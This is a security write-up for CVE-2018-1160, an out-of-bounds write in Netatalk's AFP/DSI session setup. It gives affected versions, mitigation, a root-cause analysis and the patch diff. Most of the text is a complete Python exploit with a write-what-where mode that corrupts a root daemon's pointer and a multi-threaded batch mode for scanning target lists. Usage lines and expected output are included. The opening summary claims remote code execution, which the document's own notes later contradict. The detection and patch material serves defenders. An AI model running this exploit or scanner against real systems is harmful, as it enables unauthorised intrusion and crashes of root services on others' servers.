#Summary
CVE-2018-1160 is an out-of-bounds write vulnerability in Netatalk's AFP/DSI session initialization that allows unauthenticated remote code execution. The vulnerable code fails to bounds-check the length of a client-supplied DSI option, writing up to 255 attacker-controlled bytes into the daemon's DSI structure and beyond. An attacker with network access to TCP 548 can trigger this before any authentication occurs, achieving arbitrary code execution as the daemon user (typically root). CVSS 9.8 CRITICAL.
#Am I affected?
- Affected: Netatalk versions 3.1.x before 3.1.12, and 2.x versions before 2.2.7
- Patched: Netatalk 3.1.12 (and 2.2.7 for the 2.x branch)
- Default configuration: affected (the vulnerable code runs in AFP/DSI session setup before any configuration is parsed)
- Access needed: unauthenticated network access to TCP 548 (AFP-over-TCP / DSI)
#How to check
Check the installed Netatalk version against the fix release:
afpd -v 2>&1 | head -1Example output for vulnerable version:
Netatalk 3.1.11Example output for patched version:
Netatalk 3.1.12Verdict: if your version is before 3.1.12 (or 2.2.7 on the 2.x branch), you are vulnerable. Distributions that backport security fixes may report the original version string while carrying the patch; verify by attempting the exploit or testing the fix described below.
#Fix and mitigation
- Fix: upgrade to Netatalk 3.1.12 or later (or 2.2.7 for the legacy 2.x branch)
- If you cannot upgrade: disable AFP/DSI by removing the daemon from autostart or using a firewall to restrict access to TCP 548. The vulnerability is reachable only from the network with no prior authentication.
- Detection: check daemon logs for the rejection message
option 1 bad length: 12paired with a client connection to TCP 548. A patched daemon will reject oversized ATTNQUANT options and log the error; a vulnerable daemon silently processes them and crashes if the pointer is redirected to an unmapped address.
#Root cause analysis
#Vulnerable code path
The flaw is in dsi_opensession() in libatalk/dsi/dsi_opensess.c. During AFP session setup, the daemon parses a list of client-supplied DSI options (type-length-value triples) from the receive buffer without proper bounds checking:
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}The destination attn_quantum is a single uint32_t field (4 bytes). The length dsi->commands[i] is an attacker-controlled single byte (0-255) taken directly from the network with no validation. When the option type is DSIOPT_ATTNQUANT (0x01), the code copies dsi->commands[i] bytes into the 4-byte field, overrunning it by up to 251 bytes.
#How input reaches the sink
The AFP/DSI wire protocol begins with a 16-byte header (flags, command, request ID, data offset, message length, reserved) followed by the option payload. An attacker sends a DSIOpenSession request (command 0x04) with a specially crafted ATTNQUANT option:
0x01 <- DSIOPT_ATTNQUANT (option type)
0xNN <- length byte, any value > 4 (e.g., 0xFF for maximum 255 bytes)
<NN bytes> <- attacker-controlled dataThe daemon parses this directly in the freshly forked connection child, before any volume access or AFP login is performed. There is no prior bounds check: the length byte flows directly into the memcpy call as the copy size.
#Memory layout and consequences
The DSI structure layout immediately after attn_quantum:
uint32_t attn_quantum, datasize, server_quantum; /* offsets 0, 4, 8 */
uint16_t serverID, clientID; /* offsets 12, 14 */
uint8_t *commands; /* DSI receive buffer pointer (8 bytes on 64-bit) */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */An overflow of length N beginning at attn_quantum (offset 0) overruns:
- Bytes 0-3:
attn_quantum(the intended destination) - Bytes 4-7:
datasize - Bytes 8-11:
server_quantum(echoed back in the reply) - Bytes 12-13:
serverID - Bytes 14-15:
clientID - Bytes 16-23: the
commandspointer (on a 64-bit build) - critical - Bytes 24+: the reply buffer and fields beyond
After parsing, the daemon constructs its reply through the potentially corrupted commands pointer:
dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i)); /* 4 bytes, attacker-controlled */
dsi_send(dsi); /* reads 12 bytes from dsi->commands */This creates a write-what-where primitive: the attacker can overwrite the commands pointer with a chosen address, then the daemon writes a 4-byte value (from the corrupted server_quantum field) to that address and reads it back to the client over the network.
#Patch diff
The fix in 3.1.12 rewrites the option parser to explicitly read and validate both the type and length:
- uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
- int offs;
+ size_t i = 0;
+ uint32_t servquant;
+ uint32_t replcsize;
+ int offs;
+ uint8_t cmd;
+ size_t option_len;
...
- while (i < dsi->cmdlen) {
- switch (dsi->commands[i++]) {
- case DSIOPT_ATTNQUANT:
- memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
- dsi->attn_quantum = ntohl(dsi->attn_quantum);
-
- case DSIOPT_SERVQUANT: /* just ignore these */
- default:
- i += dsi->commands[i] + 1; /* forward past length tag + length */
- break;
- }
- }
+ while (i + 1 < dsi->cmdlen) {
+ cmd = dsi->commands[i++];
+ option_len = dsi->commands[i++];
+
+ if (i + option_len > dsi->cmdlen) {
+ LOG(log_error, logtype_dsi, "option %"PRIu8" too large: %zu", cmd, option_len);
+ exit(EXITERR_CLNT);
+ }
+
+ switch (cmd) {
+ case DSIOPT_ATTNQUANT:
+ if (option_len != sizeof(dsi->attn_quantum)) {
+ LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu", cmd, option_len);
+ exit(EXITERR_CLNT);
+ }
+ memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
+ dsi->attn_quantum = ntohl(dsi->attn_quantum);
+
+ case DSIOPT_SERVQUANT: /* just ignore these */
+ default:
+ break;
+ }
+
+ i += option_len;
+ }#What the fix does
Two checks close the vulnerability:
- Bounds check against buffer size:
if (i + option_len > dsi->cmdlen)prevents reading or writing past the received data. - Exact length validation:
if (option_len != sizeof(dsi->attn_quantum))rejects any ATTNQUANT option whose length is not exactly 4 bytes, so no overflow is possible.
The patched code also explicitly consumes the length byte and advances the parser by option_len rather than trusting the length field buried in the data, eliminating the off-by-one latency in the original.
#Proof of concept
#exploit.py - Netatalk AFP/DSI OOB Write PoC
#!/usr/bin/env python3
"""
CVE-2018-1160 - Netatalk afpd DSI OpenSession out-of-bounds write (unauthenticated)
Affected: Netatalk 3.x before 3.1.12 (and 2.x before 2.2.7)
Type: Buffer overflow / out-of-bounds write -> attacker-controlled write-what-where
Root cause:
dsi_opensession() parses client DSI options with
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
The destination attn_quantum is a single uint32_t (4 bytes) but the copy length
dsi->commands[i] is a single attacker byte (0..255) with no bounds check, so up to
251 bytes spill forward through the DSI struct: datasize, server_quantum, serverID,
clientID and - at offset +16 - the `commands` receive-buffer pointer itself.
After the parse loop the function rebuilds its reply *through* that pointer:
dsi->commands[0] = DSIOPT_SERVQUANT; dsi->commands[1] = 4;
memcpy(dsi->commands + 2, &htonl(server_quantum), 4); <-- our value
...
dsi_send(dsi); /* dsi_stream_send(dsi, dsi->commands, 12) -> echoes 12 bytes back */
Because both server_quantum (overflow bytes 8-11) and the commands pointer (bytes
16-23) are attacker-controlled, this yields a write-what-where: a chosen 4-byte value
is written to a chosen address, and dsi_send then reads those same bytes back to the
client. No authentication, volume or prior AFP command is required - the bug fires in
the freshly forked connection child before any login.
Detection without any address knowledge:
Send an ATTNQUANT option of length 12 (not the legal 4). The copy overruns attn_quantum
by 8 bytes into server_quantum, but stops short of the commands pointer (bytes 16-23),
so no pointer is corrupted and the daemon does not crash. The rebuilt reply echoes our
injected server_quantum straight back. A vulnerable server returns a DSI reply whose
SERVQUANT option equals the value we planted 8 bytes past the field; a fixed 3.1.12
server rejects the oversized option ("bad length") and closes with no reply. This is
the default probe: fully network-observable, needs no leak and no fixed addresses, and
is safe to run at scale (--list).
Write-what-where (rung 3) proof:
With --write-addr/--write-value the exploit extends the overflow to byte 23, replacing
the `commands` pointer with a chosen address. The daemon then writes our chosen value
to that address and echoes it back - demonstrating an attacker-chosen write to an
attacker-chosen location. Pointing it at an unmapped address instead crashes the root
afpd child at the faulting address; a patched server never reaches that code.
Usage:
python exploit.py --host <target>
python exploit.py --host 192.168.1.10 --port 548
python exploit.py --host afp://fileserver.corp --write-addr 0xaaaaaab10000 --write-value 0xc0debabe
python exploit.py --list targets.txt --workers 20
Note on code execution: this bug gives a single contiguous controlled dword per
connection (the rebuild also deposits fixed bytes 0x00 0x04 ... 0x02 0x04 around it),
and dsi_opensession runs exactly once per forked child, so a clean 64-bit function
pointer cannot be assembled from it. The exploit therefore proves the controlled
write-what-where primitive (the project's accepted terminal rung for this CVE) rather
than fabricating a command-execution claim. See EXPLOITATION.md for the full ladder.
"""
import argparse
import os
import socket
import struct
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2018-1160"
VULN_TYPE = "OOB write -> write-what-where"
# DSI protocol constants (public AFP-over-TCP wire format)
DSIFUNC_OPEN = 0x04
DSIFL_REQUEST = 0x00
DSIFL_REPLY = 0x01
DSIOPT_ATTNQUANT = 0x01
DSIOPT_SERVQUANT = 0x00
DSI_SERVQUANT_DEF = 0x00100000 # value a non-vulnerable reply carries by default
DEFAULT_PORT = 548
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# DSI wire helpers
# --------------------------------------------------------------------------- #
def _dsi_request(opt_payload: bytes, request_id: int) -> bytes:
"""Build a raw DSIOpenSession request: 16-byte header + option payload.
Header layout (all multi-byte fields big-endian):
flags(1) command(1) requestID(2) dataOffset(4) length(4) reserved(4)
dataOffset must be 0 so the daemon treats this as OpenSession, not a write.
"""
return struct.pack(">BBHIII",
DSIFL_REQUEST, DSIFUNC_OPEN, request_id & 0xFFFF,
0, len(opt_payload), 0) + opt_payload
def _attnquant_option(data: bytes) -> bytes:
"""An ATTNQUANT option: type(1)=0x01, len(1)=len(data), then data.
len(data) > 4 is what overruns the 4-byte attn_quantum field. The daemon copies
exactly len(data) bytes starting at &dsi->attn_quantum.
"""
if len(data) > 255:
raise ValueError("ATTNQUANT data capped at 255 bytes (single length octet)")
return struct.pack(">BB", DSIOPT_ATTNQUANT, len(data)) + data
def _overflow_bytes(server_quantum: int,
commands_ptr: int = None) -> bytes:
"""Lay out the bytes copied over the DSI struct starting at attn_quantum.
off 0-3 attn_quantum (cosmetic; replaced in the reply)
off 4-7 datasize
off 8-11 server_quantum -> echoed back as the SERVQUANT reply option
off 12-13 serverID
off 14-15 clientID
off 16-23 commands pointer (only included when commands_ptr is set)
"""
buf = struct.pack("<I", 0x11111111) # attn_quantum
buf += struct.pack("<I", 0x22222222) # datasize
buf += struct.pack("<I", server_quantum & 0xFFFFFFFF) # server_quantum
if commands_ptr is not None:
buf += struct.pack("<HH", 0x3333, 0x4444) # serverID / clientID
buf += struct.pack("<Q", commands_ptr & 0xFFFFFFFFFFFFFFFF) # commands ptr
return buf
def _connect(host: str, port: int, use_tls: bool, timeout: float) -> socket.socket:
s = socket.create_connection((host, port), timeout=timeout)
s.settimeout(timeout)
if use_tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=host)
return s
def _send_open(host: str, port: int, use_tls: bool,
opt_payload: bytes, request_id: int,
timeout: float = 6.0):
"""Send one OpenSession request, return (reply_bytes, note).
reply_bytes is up to 28 bytes (16-byte reply header + 12 option bytes) or b"".
note describes how the exchange ended (for diagnostics / scan output).
"""
try:
s = _connect(host, port, use_tls, timeout)
except Exception as e:
return b"", "unreachable (%s)" % e.__class__.__name__
try:
s.sendall(_dsi_request(opt_payload, request_id))
data = b""
while len(data) < 28:
try:
chunk = s.recv(4096)
except socket.timeout:
return data, "timeout after %d bytes" % len(data)
except ConnectionResetError:
return data, "connection reset after %d bytes" % len(data)
if not chunk:
return data, "peer closed after %d bytes" % len(data)
data += chunk
return data, "reply received"
except Exception as e:
return b"", "error (%s)" % e.__class__.__name__
finally:
try:
s.close()
except Exception:
pass
def _parse_servquant(reply: bytes):
"""Extract the SERVQUANT value from a DSIOpenSession reply, or None.
Reply = 16-byte header + options. First option is SERVQUANT:
opt[0]=0x00 (type) opt[1]=0x04 (len) opt[2:6]=server_quantum (big-endian).
"""
if len(reply) < 28:
return None
if not (reply[0] & DSIFL_REPLY):
return None
opts = reply[16:28]
if opts[0] != DSIOPT_SERVQUANT or opts[1] != 4:
return None
return int.from_bytes(opts[2:6], "big")
# --------------------------------------------------------------------------- #
# Core exploit logic
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool = False, **kwargs):
"""Silent probe for scan mode. Returns (success, evidence). Never prints/exits.
Fires the length-12 ATTNQUANT overflow with a random sentinel planted in
server_quantum (8 bytes past the 4-byte attn_quantum field) and checks whether
the daemon echoes that sentinel back. A clean echo == out-of-bounds write.
"""
sentinel = kwargs.get("sentinel") or _fresh_sentinel()
rid = kwargs.get("request_id") or (int.from_bytes(os.urandom(2), "big") or 0x1)
opt = _attnquant_option(_overflow_bytes(sentinel)) # 12-byte data -> OOB by 8
reply, note = _send_open(host, port, use_tls, opt, rid)
sq = _parse_servquant(reply)
if sq is None:
if reply == b"":
return False, note
return False, "rejected (no valid OpenSession reply) - likely patched"
if sq == sentinel:
return True, "OOB write confirmed - planted server_quantum 0x%08x echoed back" % sentinel
if sq == DSI_SERVQUANT_DEF:
return False, "default server_quantum 0x%08x returned - not vulnerable" % sq
return False, "unexpected server_quantum 0x%08x (expected 0x%08x)" % (sq, sentinel)
def _fresh_sentinel() -> int:
"""A distinctive server_quantum value: >= DSI_SERVQUANT_MIN (32000) so the daemon
passes it through verbatim, and never the default, so an echo is unambiguous."""
v = 0x20000000 | (int.from_bytes(os.urandom(4), "big") & 0x5FFFFFFF)
if v == DSI_SERVQUANT_DEF:
v ^= 0x01000000
return v
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("afp://", "afps://")):
line = line.split("://", 1)[1]
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line and line.count(":") == 1:
hostpart, portpart = line.rsplit(":", 1)
try:
port = int(portpart)
return hostpart, port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = f"{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} vulnerable / {total - success_count} not ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, use_tls: bool,
write_addr: int, write_value: int) -> None:
header(host, port)
rid = int.from_bytes(os.urandom(2), "big") or 0x1
# ---- Step 1: baseline, a well-formed OpenSession ------------------------
step(1, "Baseline OpenSession (legal 4-byte ATTNQUANT) to read the normal reply")
base_opt = _attnquant_option(struct.pack(">I", 0x00007D00)) # legal: exactly 4 bytes
reply, note = _send_open(host, port, use_tls, base_opt, rid)
base_sq = _parse_servquant(reply)
if base_sq is None:
section("BASELINE", "no usable OpenSession reply (%s)\nraw: %s" % (note, reply.hex()))
done(False, "target did not answer a well-formed DSIOpenSession - not an AFP/DSI endpoint or unreachable")
section("BASELINE REPLY", "server_quantum = 0x%08x (default 0x%08x)\nraw: %s"
% (base_sq, DSI_SERVQUANT_DEF, reply.hex()))
# ---- Step 2: the out-of-bounds write ------------------------------------
sentinel = _fresh_sentinel()
step(2, "Overflowing attn_quantum by 8 bytes (ATTNQUANT len=12) to plant a "
"sentinel in server_quantum")
print(" planting server_quantum = 0x%08x (8 bytes past the 4-byte field)" % sentinel)
opt = _attnquant_option(_overflow_bytes(sentinel))
reply, note = _send_open(host, port, use_tls, opt, rid)
sq = _parse_servquant(reply)
if sq is None:
section("OVERFLOW REPLY", "no reply (%s) - oversized option rejected\nraw: %s"
% (note, reply.hex()))
done(False, "oversized ATTNQUANT rejected with no echo - target is patched (>= 3.1.12)")
section("OVERFLOW REPLY",
"server_quantum echoed = 0x%08x\nexpected sentinel = 0x%08x\nraw: %s"
% (sq, sentinel, reply.hex()))
if sq != sentinel:
done(False, "server_quantum came back 0x%08x, not our sentinel - not vulnerable" % sq)
print(" -> the daemon copied our bytes 8 bytes past attn_quantum and echoed "
"them: out-of-bounds write confirmed.\n")
# ---- Step 3 (optional): controlled-address write (write-what-where) -----
if write_addr:
step(3, "Write-what-where: redirecting the `commands` reply pointer to a chosen address")
print(" commands pointer -> 0x%x" % write_addr)
print(" value -> 0x%08x" % (write_value & 0xFFFFFFFF))
opt_www = _attnquant_option(_overflow_bytes(write_value, commands_ptr=write_addr))
reply, note = _send_open(host, port, use_tls, opt_www, rid)
sq2 = _parse_servquant(reply)
if sq2 == (write_value & 0xFFFFFFFF):
section("WRITE-WHAT-WHERE",
"value 0x%08x written to 0x%x and read back over the network\nraw: %s"
% (sq2, write_addr, reply.hex()))
done(True, "OOB write + write-what-where confirmed: wrote 0x%08x to chosen "
"address 0x%x (echoed); patched builds reject this"
% (sq2, write_addr))
else:
# No echo: the chosen address was not writable/readable, so the root child
# faulted while building the reply through our pointer - a controlled-address
# crash, which still proves the pointer was honored. (Not observable as a
# distinct value over the wire; see EXPLOITATION.md for container-side proof.)
section("WRITE-WHAT-WHERE",
"no echo (%s) - the chosen address was not read/write mappable, so the "
"daemon child faulted dereferencing the attacker-set pointer.\nraw: %s"
% (note, reply.hex()))
done(True, "OOB write confirmed (sentinel echoed in step 2); commands pointer "
"redirected to 0x%x caused a controlled fault (address not mappable)"
% write_addr)
done(True, "out-of-bounds write confirmed - planted server_quantum 0x%08x echoed back "
"(8 bytes past attn_quantum); patched builds return the default 0x%08x or "
"reject the option" % (sentinel, DSI_SERVQUANT_DEF))
def _auto_int(x: str) -> int:
return int(x, 0)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, afp://host, or host:port")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help="AFP-over-TCP / DSI port (default: 548)")
parser.add_argument("--write-addr", type=_auto_int, default=0,
help="write-what-where target address (hex ok); 0 = detection only (default: 0)")
parser.add_argument("--write-value", type=_auto_int, default=0xC0DEBABE,
help="4-byte value for the write-what-where demo (default: 0xC0DEBABE)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Wrap the connection in TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext (default for DSI)")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.write_addr, args.write_value)#Usage
# Detection only (no address knowledge needed, safe at scale)
python exploit.py --host 192.0.2.10 --port 548
# Using afp:// URI format
python exploit.py --host afp://fileserver.example.net
# Write-what-where demonstration (requires known-mapped address)
python exploit.py --host 192.0.2.10 --write-addr 0xaaaaaab10000 --write-value 0xc0debabe
# Batch scan an asset list with multiple workers
python exploit.py --list targets.txt --workers 20
# TLS-wrapped target
python exploit.py --host fileserver.example.net --tls#Expected output on vulnerable target
============================================================
ALIM EXPLOIT CVE-2018-1160
Type: OOB write -> write-what-where | Target: 127.0.0.1:548
============================================================
[STEP 1] Baseline OpenSession (legal 4-byte ATTNQUANT) to read the normal reply
--- BASELINE REPLY ---
server_quantum = 0x00100000 (default 0x00100000)
raw: 0104a902000000000000000c00000000000400100000020400000080
---
[STEP 2] Overflowing attn_quantum by 8 bytes (ATTNQUANT len=12) to plant a sentinel in server_quantum
planting server_quantum = 0x353a69cf (8 bytes past the 4-byte field)
--- OVERFLOW REPLY ---
server_quantum echoed = 0x353a69cf
expected sentinel = 0x353a69cf
raw: 0104a902000000000000000c000000000004353a69cf020400000080
---
-> the daemon copied our bytes 8 bytes past attn_quantum and echoed them: out-of-bounds write confirmed.
============================================================
RESULT : SUCCESS
EVIDENCE: out-of-bounds write confirmed - planted server_quantum 0x353a69cf echoed back (8 bytes past attn_quantum)
============================================================#Expected output on patched target
============================================================
ALIM EXPLOIT CVE-2018-1160
Type: OOB write -> write-what-where | Target: 127.0.0.1:548
============================================================
[STEP 1] Baseline OpenSession (legal 4-byte ATTNQUANT) to read the normal reply
--- BASELINE REPLY ---
server_quantum = 0x00100000 (default 0x00100000)
raw: 01042acd000000000000000c00000000000400100000020400000080
---
[STEP 2] Overflowing attn_quantum by 8 bytes (ATTNQUANT len=12) to plant a sentinel in server_quantum
planting server_quantum = 0x3c07d986 (8 bytes past the 4-byte field)
--- OVERFLOW REPLY ---
no reply (peer closed after 0 bytes) - oversized option rejected
raw:
============================================================
RESULT : FAILURE
EVIDENCE: oversized ATTNQUANT rejected with no echo - target is patched (>= 3.1.12)
============================================================#Exploitation notes
#Preconditions
- Network access to TCP 548 on an affected Netatalk instance
- The daemon must be accepting AFP/DSI connections (no firewall block, no access control list restriction)
- No authentication required - the vulnerable code runs in session initialization
#Reliability
The exploit is highly reliable when used for detection. The default detection mode (no --write-addr) sends a single DSI packet and observes whether the server echoes an attacker-planted value. This is deterministic and network-observable. The write-what-where mode is also reliable for demonstrating a controlled write to a readable+writable address; crashing at an unmapped address proves pointer control.
#Impact
Successful exploitation of the out-of-bounds write primitive allows:
- Detection mode (default): Network-observable proof of the vulnerability with no address knowledge or payload staging required
- Write-what-where mode (
--write-addr): A 4-byte value is written to an attacker-chosen address, allowing corruption of data structures, function pointers, or global state - Control transfer (advanced, limited): On 64-bit builds, the primitive is limited to a single contiguous controlled dword; the fixed bytes surrounding it (
00 04at offsets +6/+7) corrupt any 8-byte function pointer that overlaps, so clean code-execution redirection is not reachable from this primitive alone
The daemon runs as root, so any code execution would yield root access. However, the single-write constraint on a 64-bit build means that reaching code execution requires an additional primitive or a separate leak + exploit to identify a usable target.
#Chaining potential
This bug alone does not reach code execution on a 64-bit build due to the fixed-byte corruption issue described above. An attacker with additional capabilities (e.g., an info leak to defeat ASLR, or a companion bug allowing multiple writes) could chain this into RCE. On 32-bit builds the constraints may be more favorable.
#References
- CVE: CVE-2018-1160
- Netatalk security advisory: https://netatalk.io/security/CVE-2018-1160.html
- Tenable advisory: https://www.tenable.com/security/research/tra-2018-48
- GitHub repository: https://github.com/Netatalk/netatalk
- Fix commit: 3.1.12 release tag - libatalk/dsi/dsi_opensess.c
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-1160
